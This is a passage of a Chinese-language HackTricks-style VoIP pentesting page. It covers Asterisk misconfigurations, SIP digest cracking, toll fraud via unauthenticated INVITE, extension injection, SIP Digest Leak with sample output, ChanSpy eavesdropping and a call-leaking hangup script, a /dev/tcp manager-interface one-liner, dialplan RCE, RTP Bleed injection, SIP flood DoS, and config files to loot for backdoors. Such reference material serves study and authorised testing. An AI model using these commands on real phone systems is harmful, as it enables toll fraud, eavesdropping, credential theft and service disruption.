sipcrack sip-creds.txt -w dict.txt
  • SipTshark 从 PCAP 文件中提取 SIP 协议的数据。

  • SipDump 从 PCAP 文件中提取 SIP Digest 认证。

  • SIP Digest Crack 是一个用于破解 SIP 协议中摘要认证的工具。

python3 siptshark.py -f captura3.pcap [-filter auth]
python3 sipdump.py -f captura3.pcap -o data.txt
python3 sipcrack.py -f data.txt -w wordlist/rockyou.txt

DTMF codes

不仅可以在网络流量中找到SIP凭据,还可以找到用于访问语音信箱的DTMF代码。 可以将这些代码发送在INFO SIP消息中,以音频或者RTP数据包的形式。如果这些代码在RTP数据包中,您可以截取对话的这部分内容,并使用工具multimo来提取它们:

multimon -a DTMF -t wac pin.wav

免费通话 / Asterisks 连接配置错误

在 Asterisk 中,可以允许来自特定 IP 地址或任何 IP 地址的连接:

host=10.10.10.10
host=dynamic

如果指定了IP地址,主机不需要定期发送REGISTER请求(在REGISTER数据包中发送的生存时间通常为30分钟,这意味着在其他情况下,电话将需要每30分钟进行一次REGISTER)。但是,它需要打开端口,允许VoIP服务器连接以接听电话。

要定义用户,可以定义为:

  • type=user:用户只能作为用户接收呼叫。

  • type=friend:可以作为对等体发起呼叫并作为用户接收呼叫(与分机一起使用)。

  • type=peer:可以作为对等体发送和接收呼叫(SIP-trunks)。

还可以通过不安全的变量建立信任:

  • insecure=port:允许通过IP验证对等连接。

  • insecure=invite:不需要对INVITE消息进行身份验证。

  • insecure=port,invite:两者都需要。

当使用**type=friend时,主机变量的值将不会被使用**,因此,如果管理员使用该值错误配置SIP-trunk,任何人都可以连接到它。

例如,此配置将存在漏洞: host=10.10.10.10 insecure=port,invite type=friend

免费通话 / Asterisks 上下文错误配置

在Asterisk中,上下文是拨号计划中的命名容器或部分,将相关的分机、动作和规则分组在一起。拨号计划是Asterisk系统的核心组件,因为它定义了如何处理和路由传入和传出的呼叫。上下文用于组织拨号计划,管理访问控制,并在系统的不同部分之间提供分隔。

每个上下文在配置文件中定义,通常在**extensions.conf**文件中。上下文由方括号表示,上下文名称在其中。例如:

csharpCopy code[my_context]

在上下文中,您定义分机(拨号号码的模式),并将它们与一系列操作或应用程序关联起来。这些操作决定了呼叫的处理方式。例如:

[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()

这个示例演示了一个名为"my_context"的简单上下文,其中包含一个分机"100"。当有人拨打100时,通话将被接听,播放欢迎消息,然后通话将被终止。

这是另一个上下文,允许拨打任何其他号码:

[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})

如果管理员将默认上下文定义为:

[default]
include => my_context
include => external

任何人都可以使用服务器拨打任何其他号码(服务器管理员将为通话付费)。

此外,默认情况下,sip.conf 文件包含 allowguest=true,因此任何未经身份验证的攻击者都可以拨打任何其他号码。

例如,如果您的 Asterisk 服务器具有错误的上下文配置,您可以接受未经授权的 INVITE 请求。在这种情况下,攻击者可以在不知道任何用户/密码的情况下进行呼叫。

# Trying to make a call to the number 555555555 (without auth) with source number 200.
python3 sipinvite.py -i  10.10.0.10 -fu 200 -tu 555555555 -v

# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
python3 sipinvite.py -i 10.10.0.10 -tu 555555555 -t 444444444

免费通话 / 配置错误的 IVRS

IVRS 代表交互式语音应答系统,是一种电话技术,允许用户通过语音或按键输入与计算机化系统进行交互。IVRS 用于构建自动呼叫处理系统,提供一系列功能,如提供信息、路由呼叫和捕获用户输入。

VoIP 系统中的 IVRS 通常包括:

  1. 语音提示:预先录制的音频消息,引导用户浏览 IVR 菜单选项和说明。

  2. DTMF(双音多频)信号:通过在电话上按键生成的按键输入,用于浏览 IVR 菜单并提供输入。

  3. 呼叫路由:根据用户输入将呼叫定向到适当的目的地,如特定部门、代理或分机。

  4. 用户输入捕获:从呼叫者收集信息,如帐号号码、案例 ID 或任何其他相关数据。

  5. 与外部系统集成:将 IVR 系统连接到数据库或其他软件系统,以访问或更新信息、执行操作或触发事件。

在 Asterisk VoIP 系统中,您可以使用拨号计划(extensions.conf 文件)和各种应用程序(如 Background()、Playback()、Read() 等)创建 IVR。这些应用程序帮助您播放语音提示、捕获用户输入并控制呼叫流程。

易受攻击配置示例

exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})

前面是一个示例,用户被要求按1拨打一个部门,按2拨打另一个部门,或者输入完整分机号码(如果知道的话)。 漏洞在于未检查指定的分机号长度,因此用户可以输入完整号码并将被呼叫,而不受5秒超时限制的影响。

分机注入

使用类似以下的分机号码:

exten => _X.,1,Dial(SIP/${EXTEN})

在**${EXTEN}是将要被呼叫的分机号时,当输入ext 101**时会发生以下情况:

exten => 101,1,Dial(SIP/101)

然而,如果 ${EXTEN} 允许输入不仅限于数字(就像在旧版Asterisk中一样),攻击者可以输入 101&SIP123123123 来拨打电话号码123123123。这将是结果:

exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)

SIPDigestLeak

SIP Digest Leak是一种影响大量SIP电话(包括硬件和软件IP电话以及电话适配器(VoIP到模拟电话))的漏洞。该漏洞允许泄露从密码计算出的Digest认证响应。然后可以进行离线密码攻击,并根据挑战响应恢复大多数密码。

  1. 一个IP电话(受害者)正在端口5060上监听,接受电话

  2. 攻击者向IP电话发送INVITE

  3. 受害者电话开始响铃,有人接听并挂断(因为在另一端没有人接听电话)

  4. 当电话挂断时,受害者电话向攻击者发送一个BYE

  5. 攻击者发出一个407响应,要求进行身份验证并发出一个身份验证挑战

  6. 受害者电话在第二个BYE中提供了对身份验证挑战的响应

  7. 攻击者然后可以在本地机器上(或分布式网络等)对挑战响应进行暴力破解攻击,猜测密码

python3 sipdigestleak.py -i 10.10.0.10

[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100

[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok

Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5

点击通话

点击通话允许一个网页用户(例如可能对某个产品感兴趣)输入他的电话号码以便接到电话。然后会拨打一个商业电话,当他接听电话时,用户将被呼叫并与代理人连接。

一个常见的Asterisk配置文件是:

[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
  • 先前的配置允许任何IP地址连接(如果知道密码)。

  • 要发起呼叫,如先前指定的,不需要读取权限,只需要写入中的发起权限。

有了这些权限,任何知道密码的IP地址都可以连接并提取太多信息,比如:

# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3

更多信息或操作可能会被请求。

窃听

在Asterisk中,可以使用命令**ChanSpy指定要监听的分机号码**(或全部分机号码)来窃听正在进行的对话。这个命令需要分配给一个分机号码。

例如,exten => 333,1,ChanSpy('all',qb) 表示如果您拨打分机号码333,它将监听所有分机号码,在新对话开始时(b)以安静模式(q)开始收听,因为我们不想在其中进行交互。您可以通过按下*****或标记分机号码来从一个正在进行的对话切换到另一个。

还可以使用**ExtenSpy**来仅监视一个分机号码。

除了收听对话外,还可以使用诸如以下分机号码之类的分机号码将它们记录在文件中:

[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})

通话将保存在 /tmp 中。

您甚至可以让Asterisk执行一个脚本,在通话关闭时泄漏通话。

exten => h,1,System(/tmp/leak_conv.sh &)

RTCPBleed

RTCPBleed是一个影响基于Asterisk的VoIP服务器的重大安全问题(于2017年发布)。该漏洞允许RTP(实时传输协议)流量,即VoIP通话,被任何互联网上的人拦截和重定向。这是因为当RTP流量通过NAT(网络地址转换)防火墙时,会绕过身份验证。

RTP代理试图解决影响RTC系统的NAT限制,通过在两个或多个方之间代理RTP流。当存在NAT时,RTP代理软件通常无法依赖通过信令(例如SIP)检索的RTP IP和端口信息。因此,许多RTP代理已经实现了一种机制,其中这样的IP和端口元组会被自动学习。通常通过检查传入的RTP流量并将任何传入的RTP流量的源IP和端口标记为应该响应的IP和端口来完成。这种机制,可能被称为“学习模式”,不使用任何形式的身份验证。因此,攻击者可以向RTP代理发送RTP流量,并接收到本应发送给正在进行的RTP流的呼叫方或被叫方的代理RTP流量。我们将此漏洞称为RTP Bleed,因为它允许攻击者接收本应发送给合法用户的RTP媒体流。

RTP代理和RTP堆栈的另一个有趣行为是,有时,即使不容易受到RTP Bleed的影响,它们也会接受、转发和/或处理来自任何源的RTP数据包。因此,攻击者可以发送RTP数据包,这可能使他们能够注入他们的媒体而不是合法的媒体。我们将此攻击称为RTP注入,因为它允许将非法的RTP数据包注入现有的RTP流。这种漏洞可能存在于RTP代理和端点中。

Asterisk和FreePBX传统上使用**NAT=yes设置**,这会使RTP流量绕过身份验证,可能导致通话中没有音频或单向音频。

python3 rtpbleed.py -i 10.10.0.10
python3 rtcpbleed.py -i 10.10.0.10
python3 rtpbleedflood.py -i 10.10.0.10 -p 10070 -v
python3 rtpbleedinject.py -i 10.10.0.10 -p 10070 -f audio.wav

RCE

在Asterisk中,如果你设法能够添加分机规则并重新加载它们(例如通过入侵一个存在漏洞的Web管理服务器),就有可能使用**System**命令获得RCE。

same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)

有一个名为**Shell**的命令,可以在必要时用来执行系统命令,而不是使用System。

如果服务器在**System命令中(如在Elastix中)禁止使用某些字符,请检查Web服务器是否允许以某种方式在系统内创建文件**(如在Elastix或trixbox中),然后使用它来创建一个后门脚本,然后使用**System来执行该脚本**。

有趣的本地文件和权限

  • sip.conf -> 包含SIP用户的密码。

  • 如果Asterisk服务器以root身份运行,则可能会危及root权限。

  • mysql root用户可能没有密码。

  • 这可以用来创建一个新的mysql用户作为后门。

  • FreePBX

  • amportal.conf -> 包含Web面板管理员(FreePBX)的密码。

  • FreePBX.conf -> 包含用于访问数据库的用户FreePBXuser的密码。

  • 这可以用来创建一个新的mysql用户作为后门。

  • Elastix

  • Elastix.conf -> 包含明文密码,如mysql root密码,IMAPd密码,web管理员密码。

  • 多个文件夹将属于被入侵的Asterisk用户(如果不是以root身份运行)。该用户可以读取先前的文件并控制配置,因此他可以使Asterisk在执行时加载其他带有后门的二进制文件。

RTP注入

可以使用诸如**rtpinsertsound(sudo apt install rtpinsertsound)和rtpmixsound(sudo apt install rtpmixsound)等工具在对话中插入.wav**。

DoS

有几种方法可以尝试在VoIP服务器上实现DoS。

  • python3 sipflood.py -i 10.10.0.10 -r 5080 -m invite -v

操作系统漏洞

安装诸如Asterisk之类的软件的最简单方法是下载已经安装了它的操作系统分发版,例如:FreePBX,Elastix,Trixbox... 这些的问题在于一旦它们运行起来,系统管理员可能不会再更新它们,并且漏洞会随着时间被发现。

参考资料

sipscan.py 来自: Sipscan 是一个非常快速的用于扫描 UDP、TCP 或 TLS 上的 SIP 服务的扫描器。它使用多线程,可以扫描大范围的网络。它允许轻松指定端口范围,扫描 TCP 和 UDP,使用另一种方法(默认情况下将使用 OPTIONS)并指定不同的用户代理(等等)。

可以使用中的sipenumerate.py来查找PBX中可用的方法。

sipextend.py 来自: Sipextend 可以识别 SIP 服务器上的分机。Sipextend 可以检查大型网络和端口范围。

sipcrack.py 来自 : SIP Digest Crack 是一个用于破解 SIP 协议中摘要认证的工具。

如果你在开放的无线网络中发现 VoIP 设备,你可以抓取所有信息。此外,如果你在一个更封闭的网络中(通过以太网连接或受保护的 Wifi 连接),你可以执行中间人攻击,比如在PBX和网关之间以便抓取信息。

要获取这些信息,你可以使用诸如Wireshark、tcpdump 等工具...但一个专门用于抓取 VoIP 对话的工具是。

以了解凭据是如何发送的。

siptshar.py, sipdump.py, sipcrack.py 来自 :

sipinvite.py 来自 : Sipinvite 检查 PBX 服务器是否允许我们在没有身份验证的情况下进行呼叫。如果 SIP 服务器配置不正确,它将允许我们拨打外部号码。它还可以允许我们将通话转接到第二个外部号码。

:

sipdigestleak.py 来自: SipDigestLeak利用了这个漏洞。

有关更多信息,请查看

rtpbleed.py 来自**:**它检测RTP Bleed漏洞并发送RTP流。

rtcpbleed.py 来自 : 该工具用于检测 RTP 泄漏漏洞,发送 RTP 流。

rtpbleedflood.py 来自 **:**利用 RTP Bleed 漏洞发送 RTP 流

rtpbleedinject.py 来自 : 利用 RTP Bleed 漏洞发送 RTP 流(来自音频文件)

或者您可以使用来自的脚本来扫描对话(rtpscan.pl),向对话发送.wav(rtpsend.pl)并在对话中插入噪音(rtpflood.pl)。

来自的**sipflood.py:_SipFlood_向目标发送无限数量的消息

:对Asterisk使用的IAX协议进行DoS

:用于在UDP/IP上执行SIP/SDP INVITE消息洪泛的工具。

:发送多个格式正确的RTP数据包。需要知道正在使用的RTP端口(先进行嗅探)。

:允许分析和生成SIP流量。因此也可以用于DoS。

:SIP瑞士军刀。也可用于执行SIP攻击。

Fuzzers:,。

来自的**sipsend.py:SIPSend允许我们发送自定义的SIP消息**并分析响应。

来自的**wssend.py**:WsSend允许我们通过WebSockets发送自定义的SIP消息并分析响应。

从零开始学习AWS黑客技术,使用 !

支持HackTricks的其他方式:

如果您想在HackTricks中看到您的公司广告或下载PDF版本的HackTricks,请查看!

获取

发现,我们的独家收藏品

加入 💬 或 或在Twitter 🐦 上关注我们。

通过向和 github仓库提交PR来分享您的黑客技巧。

👽
htARTE(HackTricks AWS Red Team Expert)
订阅计划
官方PEASS & HackTricks周边产品
PEASS家族
NFTs
Discord群
电报群
@carlospolopm
HackTricks
HackTricks Cloud
Basic VoIP Protocols
https://www.numberingplans.com/?page=analysis&sub=phonenr
https://mobilenumbertracker.com/
https://www.whitepages.com/
https://www.twilio.com/lookup
sippts
sippts
sippts
sippts
https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb
https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack_tcp.rb
ucsniff
sippts
sippts
从这里开始的漏洞场景
sippts
https://www.rtpbleed.com/
sippts
sippts
sippts
sippts
http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/
sippts
IAXFlooder
inviteflood
rtpflood
SIPp
SIPsak
protos-sip
voiper
sippts
sippts
https://github.com/Pepelux/sippts/wiki
http://blog.pepelux.org/
https://www.rtpbleed.com/
https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4
https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf
htARTE(HackTricks AWS Red Team Expert)
订阅计划
官方PEASS & HackTricks周边产品
PEASS家族
NFTs
Discord群
电报群
@carlospolopm
HackTricks
HackTricks Cloud
ARP欺骗
查看此示例以更好地理解SIP REGISTER通信